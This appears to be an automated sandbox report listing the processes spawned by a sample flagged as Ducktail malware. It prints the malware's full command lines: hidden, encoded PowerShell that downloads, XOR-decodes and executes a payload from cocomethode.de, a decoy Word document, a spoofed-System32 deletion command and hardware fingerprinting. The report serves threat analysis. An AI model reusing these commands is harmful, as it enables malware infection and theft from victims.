Commandline:	PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ducktail_11, Description: Yara detected Ducktail, Source: 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ducktail_11, Description: Yara detected Ducktail, Source: 00000004.00000002.4053919811.0000016FE0DCC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:43:58
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:44:00
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline"
Imagebase:	0x7ff7eed70000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:44:01
Start date:	11/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF0C.tmp" "c:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP"
Imagebase:	0x7ff65c270000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:44:08
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Imagebase:	0x7ff63f700000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:44:08
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA==
Imagebase:	0x7ff7b2b90000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:44:11
Start date:	11/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Imagebase:	0x7ff7092d0000
File size:	1'635'104 bytes
MD5 hash:	E7F3B8EA1B06F46176FC5C35307727D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	06:44:14
Start date:	11/12/2024
Path:	C:\Windows\System32\sppsvc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sppsvc.exe
Imagebase:	0x7ff6dc510000
File size:	4'629'328 bytes
MD5 hash:	30C7EF47B57367CC546173BB4BB2BB04
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:44:17
Start date:	11/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff63f700000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	06:44:45
Start date:	11/12/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Imagebase:	0x7ff6b1d80000
File size:	8'357'376 bytes
MD5 hash:	9298A0077E8353244A38CAEFE43AF4CB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	06:44:45
Start date:	11/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff775150000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	06:44:45
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff714190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:44:46
Start date:	11/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBw